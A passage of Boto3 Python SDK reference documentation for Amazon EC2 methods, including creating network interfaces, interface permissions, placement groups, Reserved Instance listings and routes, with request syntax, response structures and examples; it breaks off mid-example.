for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- + + **[REQUIRED]** + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInsightsPath': { + 'NetworkInsightsPathId': 'string', + 'NetworkInsightsPathArn': 'string', + 'CreatedDate': datetime(2015, 1, 1), + 'Source': 'string', + 'Destination': 'string', + 'SourceIp': 'string', + 'DestinationIp': 'string', + 'Protocol': 'tcp'|'udp', + 'DestinationPort': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **NetworkInsightsPath** _(dict) --_ + + Information about the path. + + * **NetworkInsightsPathId** _(string) --_ + + The ID of the path. + + * **NetworkInsightsPathArn** _(string) --_ + + The Amazon Resource Name (ARN) of the path. + + * **CreatedDate** _(datetime) --_ + + The time stamp when the path was created. + + * **Source** _(string) --_ + + The AWS resource that is the source of the path. + + * **Destination** _(string) --_ + + The AWS resource that is the destination of the path. + + * **SourceIp** _(string) --_ + + The IP address of the AWS resource that is the source of the path. + + * **DestinationIp** _(string) --_ + + The IP address of the AWS resource that is the destination of the path. + + * **Protocol** _(string) --_ + + The protocol. + + * **DestinationPort** _(integer) --_ + + The destination port. + + * **Tags** _(list) --_ + + The tags associated with the path. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_network_interface(kwargs_) + +Creates a network interface in the specified subnet. + +For more information about network interfaces, see [Elastic Network Interfaces](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkInterface) + +**Request Syntax** + +response = client.create_network_interface( + Description='string', + DryRun=True|False, + Groups=[ + 'string', + ], + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + PrivateIpAddress='string', + PrivateIpAddresses=[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + SecondaryPrivateIpAddressCount=123, + InterfaceType='efa', + SubnetId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **Description** (_string_) -- A description for the network interface. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + The IDs of one or more security groups. + + * _(string) --_ +* **Ipv6AddressCount** (_integer_) -- The number of IPv6 addresses to assign to a network interface. Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. If your subnet has the AssignIpv6AddressOnCreation attribute set to true , you can specify 0 to override this setting. +* **Ipv6Addresses** (_list_) -- + + One or more specific IPv6 addresses from the IPv6 CIDR block range of your subnet. You can't use this option if you're specifying a number of IPv6 addresses. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + +* **PrivateIpAddress** (_string_) -- The primary private IPv4 address of the network interface. If you don't specify an IPv4 address, Amazon EC2 selects one for you from the subnet's IPv4 CIDR range. If you specify an IP address, you cannot indicate any IP addresses specified in privateIpAddresses as primary (only one IP address can be designated as primary). +* **PrivateIpAddresses** (_list_) -- + + One or more private IPv4 addresses. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + +* **SecondaryPrivateIpAddressCount** (_integer_) -- + + The number of secondary private IPv4 addresses to assign to a network interface. When you specify a number of secondary IPv4 addresses, Amazon EC2 selects these IP addresses within the subnet's IPv4 CIDR range. You can't specify this option and specify more than one private IP address using privateIpAddresses . + + The number of IP addresses you can assign to a network interface varies by instance type. For more information, see [IP Addresses Per ENI Per Instance Type](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI) in the _Amazon Virtual Private Cloud User Guide_ . + +* **InterfaceType** (_string_) -- Indicates the type of network interface. To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **SubnetId** (_string_) -- + + **[REQUIRED]** + + The ID of the subnet to associate with the network interface. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the new network interface. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id157)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id159)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInterface': { + 'Association': { + 'AllocationId': 'string', + 'AssociationId': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string', + 'CustomerOwnedIp': 'string', + 'CarrierIp': 'string' + }, + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'NetworkCardIndex': 123, + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'Status': 'attaching'|'attached'|'detaching'|'detached' + }, + 'AvailabilityZone': 'string', + 'Description': 'string', + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'InterfaceType': 'interface'|'natGateway'|'efa', + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'MacAddress': 'string', + 'NetworkInterfaceId': 'string', + 'OutpostArn': 'string', + 'OwnerId': 'string', + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Association': { + 'AllocationId': 'string', + 'AssociationId': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string', + 'CustomerOwnedIp': 'string', + 'CarrierIp': 'string' + }, + 'Primary': True|False, + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string' + }, + ], + 'RequesterId': 'string', + 'RequesterManaged': True|False, + 'SourceDestCheck': True|False, + 'Status': 'available'|'associated'|'attaching'|'in-use'|'detaching', + 'SubnetId': 'string', + 'TagSet': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CreateNetworkInterface. + + * **NetworkInterface** _(dict) --_ + + Information about the network interface. + + * **Association** _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + * **AllocationId** _(string) --_ + + The allocation ID. + + * **AssociationId** _(string) --_ + + The association ID. + + * **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + * **PublicDnsName** _(string) --_ + + The public DNS name. + + * **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + * **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + * **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + * **Attachment** _(dict) --_ + + The network interface attachment. + + * **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + * **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + * **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + * **Status** _(string) --_ + + The attachment state. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **Description** _(string) --_ + + A description. + + * **Groups** _(list) --_ + + Any security groups for the network interface. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + * **Ipv6Addresses** _(list) --_ + + The IPv6 addresses associated with the network interface. + + * _(dict) --_ + + Describes an IPv6 address associated with a network interface. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **MacAddress** _(string) --_ + + The MAC address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the network interface. + + * **PrivateDnsName** _(string) --_ + + The private DNS name. + + * **PrivateIpAddress** _(string) --_ + + The IPv4 address of the network interface within the subnet. + + * **PrivateIpAddresses** _(list) --_ + + The private IPv4 addresses associated with the network interface. + + * _(dict) --_ + + Describes the private IPv4 address of a network interface. + + * **Association** _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + * **AllocationId** _(string) --_ + + The allocation ID. + + * **AssociationId** _(string) --_ + + The association ID. + + * **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + * **PublicDnsName** _(string) --_ + + The public DNS name. + + * **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + * **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + * **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + * **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IPv4 address of the network interface. + + * **PrivateDnsName** _(string) --_ + + The private DNS name. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address. + + * **RequesterId** _(string) --_ + + The ID of the entity that launched the instance on your behalf (for example, AWS Management Console or Auto Scaling). + + * **RequesterManaged** _(boolean) --_ + + Indicates whether the network interface is being managed by AWS. + + * **SourceDestCheck** _(boolean) --_ + + Indicates whether traffic to or from the instance is validated. + + * **Status** _(string) --_ + + The status of the network interface. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **TagSet** _(list) --_ + + Any tags assigned to the network interface. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + +**Examples** + +This example creates a network interface for the specified subnet. + +response = client.create_network_interface( + Description='my network interface', + Groups=[ + 'sg-903004f8', + ], + PrivateIpAddress='10.0.2.17', + SubnetId='subnet-9d4a7b6c', +) + +print(response) + +Expected Output: + +{ + 'NetworkInterface': { + 'AvailabilityZone': 'us-east-1d', + 'Description': 'my network interface', + 'Groups': [ + { + 'GroupId': 'sg-903004f8', + 'GroupName': 'default', + }, + ], + 'MacAddress': '02:1a:80:41:52:9c', + 'NetworkInterfaceId': 'eni-e5aa89a3', + 'OwnerId': '123456789012', + 'PrivateIpAddress': '10.0.2.17', + 'PrivateIpAddresses': [ + { + 'Primary': True, + 'PrivateIpAddress': '10.0.2.17', + }, + ], + 'RequesterManaged': False, + 'SourceDestCheck': True, + 'Status': 'pending', + 'SubnetId': 'subnet-9d4a7b6c', + 'TagSet': [ + ], + 'VpcId': 'vpc-a01106c2', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_network_interface_permission(kwargs_) + +Grants an AWS-authorized account permission to attach the specified network interface to an instance in their account. + +You can grant permission to a single AWS account only, and only one account at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkInterfacePermission) + +**Request Syntax** + +response = client.create_network_interface_permission( + NetworkInterfaceId='string', + AwsAccountId='string', + AwsService='string', + Permission='INSTANCE-ATTACH'|'EIP-ASSOCIATE', + DryRun=True|False +) + +Parameters + +* **NetworkInterfaceId** (_string_) -- + + **[REQUIRED]** + + The ID of the network interface. + +* **AwsAccountId** (_string_) -- The AWS account ID. +* **AwsService** (_string_) -- The AWS service. Currently not supported. +* **Permission** (_string_) -- + + **[REQUIRED]** + + The type of permission to grant. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InterfacePermission': { + 'NetworkInterfacePermissionId': 'string', + 'NetworkInterfaceId': 'string', + 'AwsAccountId': 'string', + 'AwsService': 'string', + 'Permission': 'INSTANCE-ATTACH'|'EIP-ASSOCIATE', + 'PermissionState': { + 'State': 'pending'|'granted'|'revoking'|'revoked', + 'StatusMessage': 'string' + } + } +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CreateNetworkInterfacePermission. + + * **InterfacePermission** _(dict) --_ + + Information about the permission for the network interface. + + * **NetworkInterfacePermissionId** _(string) --_ + + The ID of the network interface permission. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **AwsAccountId** _(string) --_ + + The AWS account ID. + + * **AwsService** _(string) --_ + + The AWS service. + + * **Permission** _(string) --_ + + The type of permission. + + * **PermissionState** _(dict) --_ + + Information about the state of the permission. + + * **State** _(string) --_ + + The state of the permission. + + * **StatusMessage** _(string) --_ + + A status message, if applicable. + + +create_placement_group(kwargs_) + +Creates a placement group in which to launch instances. The strategy of the placement group determines how the instances are organized within the group. + +A cluster placement group is a logical grouping of instances within a single Availability Zone that benefit from low network latency, high network throughput. A spread placement group places instances on distinct hardware. A partition placement group places groups of instances in different partitions, where instances in one partition do not share the same hardware with instances in another partition. + +For more information, see [Placement groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreatePlacementGroup) + +**Request Syntax** + +response = client.create_placement_group( + DryRun=True|False, + GroupName='string', + Strategy='cluster'|'spread'|'partition', + PartitionCount=123, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **GroupName** (_string_) -- + + A name for the placement group. Must be unique within the scope of your account for the Region. + + Constraints: Up to 255 ASCII characters + +* **Strategy** (_string_) -- The placement strategy. +* **PartitionCount** (_integer_) -- The number of partitions. Valid only when **Strategy** is set to partition . +* **TagSpecifications** (_list_) -- + + The tags to apply to the new placement group. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id163)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id165)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PlacementGroup': { + 'GroupName': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'Strategy': 'cluster'|'spread'|'partition', + 'PartitionCount': 123, + 'GroupId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **PlacementGroup** _(dict) --_ + + Describes a placement group. + + * **GroupName** _(string) --_ + + The name of the placement group. + + * **State** _(string) --_ + + The state of the placement group. + + * **Strategy** _(string) --_ + + The placement strategy. + + * **PartitionCount** _(integer) --_ + + The number of partitions. Valid only if **strategy** is set to partition . + + * **GroupId** _(string) --_ + + The ID of the placement group. + + * **Tags** _(list) --_ + + Any tags applied to the placement group. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example creates a placement group with the specified name. + +response = client.create_placement_group( + GroupName='my-cluster', + Strategy='cluster', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +create_reserved_instances_listing(kwargs_) + +Creates a listing for Amazon EC2 Standard Reserved Instances to be sold in the Reserved Instance Marketplace. You can submit one Standard Reserved Instance listing at a time. To get a list of your Standard Reserved Instances, you can use the DescribeReservedInstances operation. + +Note + +Only Standard Reserved Instances can be sold in the Reserved Instance Marketplace. Convertible Reserved Instances cannot be sold. + +The Reserved Instance Marketplace matches sellers who want to resell Standard Reserved Instance capacity that they no longer need with buyers who want to purchase additional capacity. Reserved Instances bought and sold through the Reserved Instance Marketplace work like any other Reserved Instances. + +To sell your Standard Reserved Instances, you must first register as a seller in the Reserved Instance Marketplace. After completing the registration process, you can create a Reserved Instance Marketplace listing of some or all of your Standard Reserved Instances, and specify the upfront price to receive for them. Your Standard Reserved Instance listings then become available for purchase. To view the details of your Standard Reserved Instance listing, you can use the DescribeReservedInstancesListings operation. + +For more information, see [Reserved Instance Marketplace](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ri-market-general.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateReservedInstancesListing) + +**Request Syntax** + +response = client.create_reserved_instances_listing( + ClientToken='string', + InstanceCount=123, + PriceSchedules=[ + { + 'CurrencyCode': 'USD', + 'Price': 123.0, + 'Term': 123 + }, + ], + ReservedInstancesId='string' +) + +Parameters + +* **ClientToken** (_string_) -- + + **[REQUIRED]** + + Unique, case-sensitive identifier you provide to ensure idempotency of your listings. This helps avoid duplicate listings. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + +* **InstanceCount** (_integer_) -- + + **[REQUIRED]** + + The number of instances that are a part of a Reserved Instance account to be listed in the Reserved Instance Marketplace. This number should be less than or equal to the instance count associated with the Reserved Instance ID specified in this call. + +* **PriceSchedules** (_list_) -- + + **[REQUIRED]** + + A list specifying the price of the Standard Reserved Instance for each month remaining in the Reserved Instance term. + + * _(dict) --_ + + Describes the price for a Reserved Instance. + + * **CurrencyCode** _(string) --_ + + The currency for transacting the Reserved Instance resale. At this time, the only supported currency is USD . + + * **Price** _(float) --_ + + The fixed price for the term. + + * **Term** _(integer) --_ + + The number of months remaining in the reservation. For example, 2 is the second to the last month before the capacity reservation expires. + +* **ReservedInstancesId** (_string_) -- + + **[REQUIRED]** + + The ID of the active Standard Reserved Instance. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReservedInstancesListings': [ + { + 'ClientToken': 'string', + 'CreateDate': datetime(2015, 1, 1), + 'InstanceCounts': [ + { + 'InstanceCount': 123, + 'State': 'available'|'sold'|'cancelled'|'pending' + }, + ], + 'PriceSchedules': [ + { + 'Active': True|False, + 'CurrencyCode': 'USD', + 'Price': 123.0, + 'Term': 123 + }, + ], + 'ReservedInstancesId': 'string', + 'ReservedInstancesListingId': 'string', + 'Status': 'active'|'pending'|'cancelled'|'closed', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'UpdateDate': datetime(2015, 1, 1) + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CreateReservedInstancesListing. + + * **ReservedInstancesListings** _(list) --_ + + Information about the Standard Reserved Instance listing. + + * _(dict) --_ + + Describes a Reserved Instance listing. + + * **ClientToken** _(string) --_ + + A unique, case-sensitive key supplied by the client to ensure that the request is idempotent. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + * **CreateDate** _(datetime) --_ + + The time the listing was created. + + * **InstanceCounts** _(list) --_ + + The number of instances in this state. + + * _(dict) --_ + + Describes a Reserved Instance listing state. + + * **InstanceCount** _(integer) --_ + + The number of listed Reserved Instances in the state specified by the state . + + * **State** _(string) --_ + + The states of the listed Reserved Instances. + + * **PriceSchedules** _(list) --_ + + The price of the Reserved Instance listing. + + * _(dict) --_ + + Describes the price for a Reserved Instance. + + * **Active** _(boolean) --_ + + The current price schedule, as determined by the term remaining for the Reserved Instance in the listing. + + A specific price schedule is always in effect, but only one price schedule can be active at any time. Take, for example, a Reserved Instance listing that has five months remaining in its term. When you specify price schedules for five months and two months, this means that schedule 1, covering the first three months of the remaining term, will be active during months 5, 4, and 3. Then schedule 2, covering the last two months of the term, will be active for months 2 and 1. + + * **CurrencyCode** _(string) --_ + + The currency for transacting the Reserved Instance resale. At this time, the only supported currency is USD . + + * **Price** _(float) --_ + + The fixed price for the term. + + * **Term** _(integer) --_ + + The number of months remaining in the reservation. For example, 2 is the second to the last month before the capacity reservation expires. + + * **ReservedInstancesId** _(string) --_ + + The ID of the Reserved Instance. + + * **ReservedInstancesListingId** _(string) --_ + + The ID of the Reserved Instance listing. + + * **Status** _(string) --_ + + The status of the Reserved Instance listing. + + * **StatusMessage** _(string) --_ + + The reason for the current status of the Reserved Instance listing. The response can be blank. + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **UpdateDate** _(datetime) --_ + + The last modified timestamp of the listing. + + +create_route(kwargs_) + +Creates a route in a route table within a VPC. + +You must specify one of the following targets: internet gateway or virtual private gateway, NAT instance, NAT gateway, VPC peering connection, network interface, egress-only internet gateway, or transit gateway. + +When determining how to route traffic, we use the route with the most specific match. For example, traffic is destined for the IPv4 address 192.0.2.3 , and the route table includes the following two IPv4 routes: + +* 192.0.2.0/24 (goes to some target A) +* 192.0.2.0/28 (goes to some target B) + +Both routes apply to the traffic destined for 192.0.2.3 . However, the second route in the list covers a smaller number of IP addresses and is therefore more specific, so we use that route to determine where to target the traffic. + +For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRoute) + +**Request Syntax** + +response = client.create_route( + DestinationCidrBlock='string', + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + VpcEndpointId='string', + EgressOnlyInternetGatewayId='string', + GatewayId='string', + InstanceId='string', + NatGatewayId='string', + TransitGatewayId='string', + LocalGatewayId='string', + CarrierGatewayId='string', + NetworkInterfaceId='string', + RouteTableId='string', + VpcPeeringConnectionId='string' +) + +Parameters + +* **DestinationCidrBlock** (_string_) -- The IPv4 CIDR address block used for the destination match. Routing decisions are based on the most specific match. We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . +* **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR block used for the destination match. Routing decisions are based on the most specific match. +* **DestinationPrefixListId** (_string_) -- The ID of a prefix list used for the destination match. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcEndpointId** (_string_) -- The ID of a VPC endpoint. Supported for Gateway Load Balancer endpoints only. +* **EgressOnlyInternetGatewayId** (_string_) -- [IPv6 traffic only] The ID of an egress-only internet gateway. +* **GatewayId** (_string_) -- The ID of an internet gateway or virtual private gateway attached to your VPC. +* **InstanceId** (_string_) -- The ID of a NAT instance in your VPC. The operation fails if you specify an instance ID unless exactly one network interface is attached. +* **NatGatewayId** (_string_) -- [IPv4 traffic only] The ID of a NAT gateway. +* **TransitGatewayId** (_string_) -- The ID of a transit gateway. +* **LocalGatewayId** (_string_) -- The ID of the local gateway. +* **CarrierGatewayId** (_string_) -- + + The ID of the carrier gateway. + + You can only use this option when the VPC contains a subnet which is associated with a Wavelength Zone. + +* **NetworkInterfaceId** (_string_) -- The ID of a network interface. +* **RouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the route table for the route. + +* **VpcPeeringConnectionId** (_string_) -- The ID of a VPC peering connection. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +**Examples** + +This example creates a route for the specified route table. The route matches all traffic (0.0.0.0/0) and routes it to the specified Internet gateway. + +response = client.create_route( + DestinationCidrBlock='0.0.0.0/0', + GatewayId='igw-c0a643a9', + RouteTableId='rtb-22574640', +) + +print(response) + +Expected Output: + +{ + 